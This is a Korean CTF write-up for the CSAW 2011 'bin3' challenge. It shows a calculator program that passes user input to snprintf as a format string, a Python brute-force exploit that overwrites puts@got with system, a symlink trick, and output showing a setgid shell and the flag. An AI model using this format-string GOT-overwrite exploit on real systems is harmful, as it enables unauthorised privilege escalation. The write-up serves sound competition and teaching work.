CTF

CSAW CTF Quals 2011 - bin3

pwn3r_45 2011. 9. 27. 01:49
Category : Pwnables

NULL

Summary : Format String Vulnerability on Ubuntu , overwrite puts@got

Server Info.

user20280@ubuntu:~$ uname -a
Linux ubuntu 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:18:14 UTC 2011 i686 i686 i386 GNU/Linux

서버 환경은 Ubuntu 이지만 ASLR이 disable된상태이다.

주어진 파일은 flag user에 setgid가 걸린 bin3 과 bin3의 c 소스파일인 challenge3.c이다.


challeng3.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


inline int add(int lhs, int rhs){return lhs + rhs;}
inline int sub(int lhs, int rhs){return lhs - rhs;}
inline int mul(int lhs, int rhs){return lhs * rhs;}
int divi(int lhs, int rhs){
  if(rhs == 0){return 0;}
  return lhs / rhs;
}

void u(){
  printf("number op number\n");
  exit(EXIT_FAILURE);
}

void e(){
  puts("Need operation\n");
  exit(EXIT_FAILURE);
}

int s(char *op, char *lhs, char *rhs){
 
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  printf("Operation: ");
  fflush(0);


  switch(*op++){
  case '+':
    opfunc = matfunc[0];
    break;
  case '-':
    opfunc = matfunc[1];
    break;
  case '*':
    opfunc = matfunc[2];
    break;
  case '/':
    opfunc = matfunc[3];
    break;
  default:
    e();
  }

  snprintf(opmsg, sizeof(opmsg), op); // Vuln !!
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}

int main(int argc, char **argv){
 
  if(argc < 4){ u(); }

  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}


challenge3.c를 보면 간단한 계산기 역할을 한다.
argv[2][0]의 문자에 따라 사칙연산을 수행하는데 , 해당 문자뒤의 문자열을 format string 없이 snprintf로 변수에 출력해주면서 format string bug가 발생한다.

puts@gotsystem@libc의 주소로 덮고 , 에러 구문에 나오는 파일명으로 쉘을 실행하는 프로그램에 심볼릭링크를 걸어 공격을 한다.  (challenge3.c에서는 snprintf이후 printf를 호출하는것으로 나와있지만 실제로는 puts를 호출한다. 이것을 제대로 보지못하여 3시간이 넘도록 멀쩡한 스크립트를 수정하며 공격해주었다.)

하지만 argv[2]와 snprintf를 수행할때의 esp사이의 거리가 상당히 멀고 , argv[2]에 원하는 데이터가 4의 배수인 주소에 들어가지 않을 수 있기때문에 앞에 넣어줄 padding과 , $flag를 사용한 공격을 하기위해 esp와 argv[2]사이의 거리를 브루트포싱하는 스크립트를 작성해 실행한다.

(gdb) p system // system@libc
$1 = {<text variable, no debug info>} 0x16f950 <system>


   0x0804866c <+260>: call   0x80483f4 <
puts@plt>
(gdb) disas 0x80483f4
Dump of assembler code for function
puts@plt:
   0x080483f4 <+0>: jmp    *0x8049924 // puts@got
   0x080483fa <+6>: push   $0x30
   0x080483ff <+11>: jmp    0x8048384



exploit.py

#!/usr/bin/python

import pwn3rlib , os

TARGET = "/home/user20280/bin3"

printf_got = 0x8049924
system_libc = 0x16f950

fsb = pwn3rlib.fsb() # pwn3rlib.py에 fsb payload를 생성해주는 함수가 정의되어있다.

for OFFSET in range(10,60):
 for i in range(0 , 4):
  payload = "+"+"a"*i
  payload += fsb.getpayload(OFFSET , [hex(printf_got)] , [hex(system_libc)] , i)
  pid = os.fork()
  if pid == 0:
   os.execv(TARGET , ("pwn" , "1" , payload , "3"))
  else:
   os.waitpid(pid , 0)



user20280@ubuntu:~$ ./exploit.py 1>/dev/null 2> log
user20280@ubuntu:~$ cat log
sh: ™: not found
sh: $™: not found
user20280@ubuntu:~$ cat log | xxd
0000000: 7368 3a20 9904 083a 206e 6f74 2066 6f75  sh: ...: not fou
0000010: 6e64 0a73 683a 2024 9904 083a 206e 6f74  nd.sh: $...: not
0000020: 2066 6f75 6e64 0a                        found..
user20280@ubuntu:~$ ln -s ./shell `python -c 'print "\x99\x04\x08"'`
user20280@ubuntu:~$ ./exploit.py
Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: Operation: sh: $™: not found
$ id
uid=20280(user20280) gid=20280(user20280) egid=19999(flag) groups=20280(user20280)
$ cat key
key{The_write_n_e_bug}

Flag : he_write_n_e_bug